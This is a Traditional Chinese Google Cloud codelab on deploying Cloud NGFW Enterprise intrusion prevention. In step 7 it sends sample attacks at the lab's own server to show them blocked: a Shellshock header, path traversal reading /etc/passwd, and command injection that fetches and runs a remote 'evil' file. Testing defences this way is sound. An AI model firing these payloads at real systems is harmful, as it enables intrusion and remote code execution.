Cloud NGFW Enterprise - 入侵預防服務 (不含 TLS 檢查)

1. 簡介

Cloud Next Generation Firewall (NGFW)

Cloud Next Generation Firewall 是完全分散式防火牆服務，提供進階防護功能、微區隔和全面涵蓋，可保護 Google Cloud 工作負載不受內外部攻擊的侵擾。

Cloud NGFW 具備下列優勢：

  • 分散式防火牆服務：Cloud NGFW 會為每個工作負載提供有狀態的完全分散式主機強制執行機制，以便採用零信任安全架構。
  • 簡化設定和部署作業：Cloud NGFW 可實作網路和階層式防火牆政策，並附加至資源階層節點。這些政策可在 Google Cloud 資源階層中提供一致的防火牆體驗。
  • 精細控管和微型區隔：結合防火牆政策和身分與存取權管理 (IAM) 控管的標記，可針對虛擬私有雲 (VPC) 網路和機構，針對南北向和東西向流量的精細控管，甚至是單一 VM。

Cloud NGFW 適用於下列級別：

Cloud NGFW Enterprise

Cloud NGFW Enterprise 將第 7 層功能「入侵防範服務 (IPS)」加入分散式 Google Cloud 防火牆架構。您可以使用 TLS 檢查功能檢查 TLS 加密流量，但這不在本程式碼研究室的範圍內 (請參閱 含有 TLS 檢查功能的 Cloud NGFW Enterprise 程式碼研究室)。

您現在可以部署可靠的第 7 層次世代防火牆 (NGFW) 檢查功能，並透過精細的控管機制進行設定，無須變更網路架構或路由設定。

如要啟用並部署第 7 層防火牆控制機制 (含 IPS)，您必須執行下列工作：

  • 建立一組 Google Cloud 代管的區域防火牆端點。
  • 視需要建立 TLS 檢查政策 (本程式碼研究室未涵蓋此部分)
  • 視需要建立信任設定 (本程式碼研究室未涵蓋這項作業)
  • 將這些端點與需要 Cloud NGFW Enterprise 服務的虛擬私有雲網路建立關聯。
  • 只要簡單修改現有的防火牆政策和防火牆規則，即可為各種流量路徑指定威脅防範設定檔。

網路防火牆政策

網路防火牆政策可做為防火牆規則的容器。政策與虛擬私有雲端網路建立關聯之前，網路防火牆政策中定義的規則不會在任何地方強制執行。每個 VPC 網路可與一項網路防火牆政策建立關聯。網路防火牆政策支援防火牆規則中的 IAM 管制標記 (或簡稱標記)，可取代目前的網路標記，並用於為工作負載提供身分。

在多個網路之間共用網路防火牆政策，並與 IAM 控管的標記整合，可大幅簡化防火牆的設定和管理作業。

隨著網路防火牆政策的推出，Google Cloud 的防火牆政策現在包含下列元件：

  1. 階層式防火牆政策
  2. 虛擬私有雲防火牆規則
  3. 網路防火牆政策 ( 全域和區域)

資源階層中的機構和資料夾節點支援階層式防火牆政策，而虛擬私有雲防火牆規則和網路防火牆政策則會套用至虛擬私有雲層級。虛擬私有雲防火牆規則和網路防火牆政策之間最大的差異在於，虛擬私有雲防火牆規則只能套用至單一 VPC 網路，而網路防火牆政策則可連結至單一 VPC 或一組 VPC，並享有批次更新等其他優點。

最後，我們還有每個虛擬私有雲網路都具備的隱含防火牆規則：

  • 動作為允許、目的地為 0.0.0.0/0 的輸出規則
  • 動作為拒絕、來源為 0.0.0.0/0 的輸入規則

根據預設，執行順序如下圖所示：

21b3bcabc469ffe.png

請注意，虛擬私有雲防火牆規則和全域網路防火牆政策之間的執行順序可以互換。客戶可以隨時使用 gcloud 指令指定執行順序。

IAM 控管的標記

新的標記已整合至網路防火牆政策規則，這些標記是 Google Cloud 資源階層中定義於機構或專案層級的鍵/值組合資源。這類標記包含 IAM 存取控制，顧名思義，可用來指定哪些使用者可對標記執行哪些操作。舉例來說，IAM 權限可讓您指定哪些主體可以為標記指派值，以及哪些主體可以將標記附加至資源。標記套用至資源後，網路防火牆規則就能使用標記來允許或拒絕流量。

標記會遵循 Google Cloud 的繼承資源模型，也就是說，標記及其值會從父項沿著階層傳遞。因此，您可以在單一位置建立標記，然後讓其他資料夾和專案在整個資源階層中使用。如要進一步瞭解標記和存取權限制，請參閱這個頁面。

請勿將標記與網路標記混淆。後者是可新增至 Compute Engine 執行個體的字串，與執行個體相關聯，並會在執行個體停用時消失。VPC 防火牆規則可能包含網路標記，但由於這些標記不視為雲端資源，因此不受 IAM 存取權控管。

請注意，本文中「標記」和「IAM 管理的標記」是可以互換使用的。

建構項目

這個程式碼研究室需要單一專案，並能建立具有公用連線的 VPC 網路，並將示範 Cloud NGFW Enterprise 如何透過以下方式提供 IPS 功能：

  • 檢查虛擬私有雲/子網路內部的流量 [東西向]
  • 檢查來自網際網路的輸入流量 [南北]

系統會使用 Cloud 防火牆比對參數 (包括 5 元組 (來源 IP、目的地 IP、通訊協定、來源通訊埠、目的地通訊埠) 和標記) 來選取要檢查的流量。這個程式碼研究室不包含 TLS 檢查。

52a0642ef8668ecf.png

網路防火牆政策規則集會類似下表：

優先順序

方向

目標

資料來源

目標位置

動作

類型

100

輸出

Quarantine_Tag

不限

不限

拒絕

Essentials

1000

輸入

Server_Tag

健康狀態檢查範圍

不限

允許

Essentials

2000

輸入

不限

Identity-Aware Proxy 範圍

不限

允許

Essentials

3000

輸入

不限

Geo、GCTI

不限

拒絕

標準

4000

輸出

不限

不限

Geo、GCTI

拒絕

標準

5000

輸出

不限

不限

系統更新 FQDN

允許

標準

6000

輸入

Server_Tag

10.0.0.0/24

不限

IPS

Enterprise

7000

輸入

Server_Tag

CloudNAT_IP

不限

IPS

Enterprise

課程內容

軟硬體需求

  • Google Cloud 專案
  • 具備部署執行個體和設定網路元件的相關知識
  • 虛擬私有雲防火牆設定知識

2. 事前準備

建立/更新變數

本程式碼研究室會使用 $variables 協助在 Cloud Shell 中實作 gcloud 設定。

在 Cloud Shell 中執行下列指令，並視需要替換方括號內的資訊 (如果已設定所需專案，請略過設定)。如果需要多個防火牆端點 (例如)，就會使用不同的變數來處理機構層級資源。

gcloud config set project [project-id]

export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=cloudngfw
export org_prefix=cloudngfw
export billing_project_id=[project-id]

3. 啟用 API

如果尚未啟用 API，請按照下列步驟操作：

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Cloud NGFW Enterprise 安全性設定檔和端點建立

由於 Cloud NGFW Enterprise 端點的建立作業需要約 20 分鐘，因此系統會先建立端點，並在建立端點的同時進行基本設定。

建立安全性設定檔和安全性設定檔群組：

gcloud network-security security-profiles threat-prevention \
  create $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $org_prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat

預期輸出內容：

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com
plete...done.                                                                                                                                 
Created security profile group [$org_prefix-spg].

確認資源已成功建立：

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

預期輸出內容：

NAME: cloudngfw-sp-threat
NAME: cloudngfw-spg

建立 Cloud NGFW Enterprise 端點：

gcloud network-security firewall-endpoints create $org_prefix-$zone \
  --zone=$zone --organization $org_id \
  --billing-project $billing_project_id

執行下列指令，確認端點正在建立中 (狀態：CREATING)。

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

預期輸出內容 (請注意，輸出格式可能會因使用的用戶端而異)：

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: CREATING

您也可以執行下列指令，取得更多詳細資料：

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

預期輸出內容：

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: CREATING
updateTime: '2023-04-25T18:08:45.493499362Z'

端點建立程序大約需要 20 分鐘。請繼續前往「基本設定」部分，並同時建立必要資源。

5. 基本設定

如果您想手動建立基本資源，請繼續閱讀下列各節。

虛擬私有雲網路和子網路

虛擬私有雲網路和子網路

建立虛擬私有雲網路和子網路：

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

建立 Cloud Router 和 Cloud NAT 閘道：

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

nstances

建立用戶端和網路伺服器執行個體：

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --scopes=compute-ro \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils iperf3 tcpdump -y'

專案層級標記

視需要為使用者指派 tagAdmin 和/或 tagUser 權限：

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser

建立專案層級的標記鍵和值：

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-quarantine \
   --parent=$project_id/$prefix-vpc-tags

將標記繫結至執行個體：

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

全球網路防火牆政策

建立全域網路防火牆政策：

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise" --global

建立 Cloud Firewall Essential 規則，拒絕來自隔離執行個體的流量 (僅為範例建立，不會用於本程式碼研究室)，並允許來自健康狀態檢查和識別資訊感知 Proxy範圍的流量：

gcloud compute network-firewall-policies rules create 100 \
        --description="block quarantined workloads" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \
        --dest-ip-ranges=0.0.0.0/0

gcloud compute network-firewall-policies rules create 1000 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 2000 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

建立 Cloud 防火牆標準規則，拒絕來自/前往禁運國家/地區、已知惡意 IP 和 Tor 出口節點的流量，並只允許系統更新的流量傳送至特定 FQDN (僅為範例，不會用於本程式碼研究室)：

gcloud compute network-firewall-policies rules create 3000 \
        --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=INGRESS \
        --src-region-codes CU,IR,KP,SY,XC,XD \
        --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 4000 \
        --description="block egress traffic to sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --dest-region-codes CU,IR,KP,SY,XC,XD \
        --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 5000 \
        --description "allow system updates" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=EGRESS \
--dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com

建立 Cloud 防火牆規則，允許特定範圍的東西向 / 子網路內部和南北向 / 網際網路流量 (這些規則會更新，以啟用 Cloud NGFW Enterprise)：

gcloud compute network-firewall-policies rules create 6000 \
        --description "allow ingress internal traffic from clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs all \
        --src-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud compute network-firewall-policies rules create 7000 \
        --description "allow ingress external traffic to server" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --enable-logging \
        --src-ip-ranges=$cloudnatip \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

將網路防火牆政策連結至虛擬私有雲網路：

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

外部 TCP/UDP 網路負載平衡器

預留外部 IP 位址，並建立執行個體群組和健康檢查：

gcloud compute addresses create $prefix-$region-nlbip --region=$region

gcloud compute instance-groups unmanaged create $prefix-ig \
    --zone $zone

gcloud compute instance-groups unmanaged add-instances $prefix-ig \
   --instances $prefix-$zone-www --zone $zone

gcloud compute health-checks create http $prefix-$region-hc-http80 \
   --region $region --port 80

建立後端服務和轉送規則：

gcloud compute backend-services create $prefix-nlb-bes \
    --protocol TCP \
    --health-checks $prefix-$region-hc-http80 \
    --health-checks-region $region \
    --region $region

gcloud compute backend-services add-backend $prefix-nlb-bes \
    --instance-group $prefix-ig \
    --instance-group-zone $zone \
    --region $region

gcloud compute forwarding-rules create $prefix-nlb-ipv4 \
  --load-balancing-scheme EXTERNAL \
  --region $region \
  --ports 80 \
  --address $prefix-$region-nlbip \
  --backend-service $prefix-nlb-bes

6. Cloud NGFW Enterprise 端點關聯

視需要重新定義環境變數。

確認 Cloud 防火牆端點建立作業已成功完成。只有在狀態顯示為「ACTIVE」時才繼續執行 (在建立期間，預期的狀態為「CREATING」)：

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

預期輸出內容 (請注意，輸出格式可能會因使用的用戶端而異)：

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: ACTIVE

您也可以執行下列指令，取得更多詳細資料：

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

預期輸出內容：

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: ACTIVE
updateTime: '2023-04-25T18:29:40.840608100Z'

將 Cloud NGFW Enterprise 端點連結至 VPC 網路：

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc --endpoint $org_prefix-$zone \
  --organization $org_id

關聯程序大約需要 10 分鐘。只有在狀態顯示為「執行中」時才繼續執行 (建立程序中的預期狀態為「建立中」)：

gcloud network-security firewall-endpoint-associations list

預期輸出內容：

ID: cloudngfw-association
LOCATION: [zone]
NETWORK: cloudngfw-vpc
ENDPOINT: cloudngfw-[zone]
STATE: ACTIVE

您也可以執行下列指令，取得更多詳細資料：

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

預期輸出內容：

createTime: '2023-05-01T22:25:06.218544436Z'
firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association
network: projects/[project-id]/global/networks/cloudngfw-vpc
state: ACTIVE
updateTime: '2023-05-01T22:33:06.467596536Z'

7. Cloud NGFW Enterprise 檢查規則

開啟新的分頁，並透過 IAP 啟動與用戶端 VM 的 SSH 連線 (您需要在新分頁中再次定義變數)：

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

在 SSH 工作階段中定義必要變數並設定變數 (請確認值正確無誤)：

export region=[region]
export zone=[zone]
export prefix=cloudngfw

export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)")

export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")

使用 curl 確認兩個 IP 可否連線：

curl $target_privateip --max-time 2

curl $target_nlbip --max-time 2

兩個 curl 要求的預期結果：

Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]

將攻擊樣本傳送至內部伺服器 IP (東西 / 虛擬私有雲內部流量)。網路伺服器應回應所有要求，確認沒有 L7 檢查/防護措施：

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

透過 Cloud NAT (南北向傳入流量) 將樣本攻擊重新傳送至外部伺服器 IP，網路伺服器也應回應所有要求：

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

預期的公開和私人 IP 結果：

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

切換回 Cloud Shell，並更新現有的入站規則，啟用 L7 檢查：

gcloud compute network-firewall-policies rules update 6000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

gcloud compute network-firewall-policies rules update 7000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

視需要說明防火牆規則，確認兩者都已成功更新：

gcloud compute network-firewall-policies rules describe 6000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

預期輸出內容：

---
action: apply_security_profile_group
description: allow ingress internal traffic from tagged clients
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: all
  srcIpRanges:
  - 10.0.0.0/24
priority: 800
ruleTupleCount: 4
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

規則 7000：

gcloud compute network-firewall-policies rules describe 7000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

預期輸出內容：

---
action: apply_security_profile_group
description: allow ingress external traffic to server
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: tcp
    ports:
    - '80'
  - ipProtocol: tcp
    ports:
    - '443'
  srcIpRanges:
  - [cloudnat-ip]
priority: 900
ruleTupleCount: 6
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

切換回用戶端 VM，並將攻擊範例重新傳送至內部伺服器 IP (東西 / VPC 內部檢查)：

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

透過 Cloud NAT (南北傳入檢查) 將範例攻擊傳送至外部伺服器 IP：

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

如同下方預期的輸出內容，系統不會收到第一波攻擊的回應，這代表系統現在已封鎖高嚴重性攻擊。

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

前往 Cloud 控制台，依序點選「網路安全性」>「威脅」，即可查看記錄 (如果尚未顯示攻擊事件，可能需要重新整理幾次)。

daa535fcc34873aa.png

選擇其中一種攻擊，然後按一下右側的「查看稽核記錄」(建議在新分頁中開啟，方便切換回來)。展開攻擊即可查看詳細資料：

5f97cdef79e42eff.png

您可以選擇將記錄檔探索工具篩選器替換為以下查詢：

resource.type="networksecurity.googleapis.com/FirewallEndpoint"

威脅記錄項目應如下所示：

5ea9581a7eb694c5.png

您可以使用下方的記錄檔探索工具篩選器驗證 Cloud 防火牆攔截的封包 (有助於排除問題)：

jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"

f3766ea8d66ddef8.png

繼續進行網際網路流量檢查 (選用)，或關閉 SSH 工作階段，然後繼續閱讀下一章節的清理步驟。

[選用] 網路流量檢查

如先前所述，目前檢查的流量包括子網路/虛擬私有雲內部 (東西) 和來自網際網路的流量 (南北)。您也可以使用 Cloud Shell 建立新的輸出規則，將 Cloud NGFW Enterprise 設為檢查所有網際網路流量 (北向/南向出站)：

gcloud compute network-firewall-policies rules create 10000 \
   --description "inspect all egress internet traffic from clients" \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --global-firewall-policy \
   --layer4-configs=tcp:80,tcp:443 \
   --direction=EGRESS \
   --dest-ip-ranges=0.0.0.0/0 \
   --enable-logging \
   --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

切換回用戶端 VM，並將高嚴重性攻擊重新傳送至外部伺服器 IP：

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

預期輸出內容：

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received

切換至 Cloud 控制台的「Threats」分頁，確認記錄 (您可能需要重新整理幾次)。系統應該會再次識別並記錄攻擊，但現在來源 IP 是內部 IP，因為系統會先觸發出口規則：

36f8edf264dcddcd.png

關閉 SSH 工作階段，然後繼續執行下一個部分的清理步驟。

8. 清理步驟

Cloud NGFW Enterprise 元件清理

列出現有的 Cloud NGFW Enterprise 關聯：

gcloud network-security firewall-endpoint-associations list

刪除 Cloud NGFW Enterprise 關聯：

gcloud network-security firewall-endpoint-associations delete \
   $prefix-association --zone $zone

gcloud network-security firewall-endpoint-associations list

列出現有的 Cloud NGFW Enterprise 端點：

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

刪除 Cloud NGFW Enterprise 端點，這可能需要 20 分鐘：

gcloud -q network-security firewall-endpoints delete \
   $org_prefix-$zone --zone=$zone --organization $org_id

執行下列指令，確認 Cloud NGFW Enterprise 已刪除：

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

刪除安全性設定檔群組和威脅防護設定檔：

gcloud -q network-security security-profile-groups delete \
  $org_prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

清理基本設定

如果您想刪除基本資源，請繼續執行下一個步驟。

視需要定義環境變數。在 Cloud Shell 中刪除 Network Load Balancer 元件：

gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region

gcloud -q compute backend-services delete $prefix-nlb-bes --region $region

gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region

gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone

移除執行個體：

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

如果 tagAdmin 和 tagUsers 角色已變更，您可以選擇執行下列步驟：

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

移除標記鍵和值：

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

刪除 Cloud 防火牆網路政策和關聯：

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

刪除 Cloud Router 和 Cloud NAT：

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

刪除保留的 IP 位址：

gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

最後，請刪除子網路和虛擬私有雲網路：

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

9. 恭喜！

恭喜，您已成功完成「東西向和南北向檢查」Cloud NGFW Enterprise 程式碼研究室。